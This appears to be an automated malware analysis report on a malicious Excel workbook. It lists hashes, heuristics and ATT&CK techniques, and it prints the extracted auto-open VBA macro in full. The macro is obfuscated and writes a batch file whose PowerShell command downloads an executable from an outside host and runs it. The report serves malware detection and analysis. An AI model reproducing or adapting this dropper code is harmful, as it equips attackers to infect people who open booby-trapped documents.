Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1745d1b3d7579689…

MALICIOUS

Office (OOXML)

13.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-21
MD5: cded8b2254a41fc98a33bebeb680afa3 SHA-1: d1135c79922a41cc26cda0cfc0a1b51bb660c4a2 SHA-256: 1745d1b3d75796893a58480268990d003b5c91019d743253b284563b4af9f3db
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The VBA macro `auto_Open` is designed to execute upon opening the document. It constructs a batch file named `god.bat` in the public documents directory. This batch file contains a PowerShell command that downloads a second executable (`usnew.exe`) from `https://official01.my03.com/w/ConsoleApp5.exe` and then executes it.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1228 bytes
SHA-256: 72a741692c4678c769562dedd890bb32707763e9667be5ce682f8502184090f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub auto_Open()
shareboard = "powers"
glassafter = "hell"
Set sixless = GetObject("new:0D43FE01-F093-11CF-8940-00A0C905422" & CInt(7.6))
specificday = "C:\Users\Public\Documents\god.bat"
Set sixless2 = sixless.CreateTextFile(specificday)
sixless2.WriteLine shareboard & glassafter & " -w hi sleep -Se 32;iwr -uri htt`ps://official01.my03.com/w/ConsoleApp5.e`xe -outfile C:\Users\Public\Documents\usnew.e`xe;C:\Users\Public\Documents\usnew.e`xe"
sixless2.Close
GetObject("new:13709620-C279-11CE-A49E-44455354000" & CInt(0.3)).Open (specificday)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 607321277c2f9d663748cb21eb0d745e10db91fb3f52d27bcc793aab5c628fdf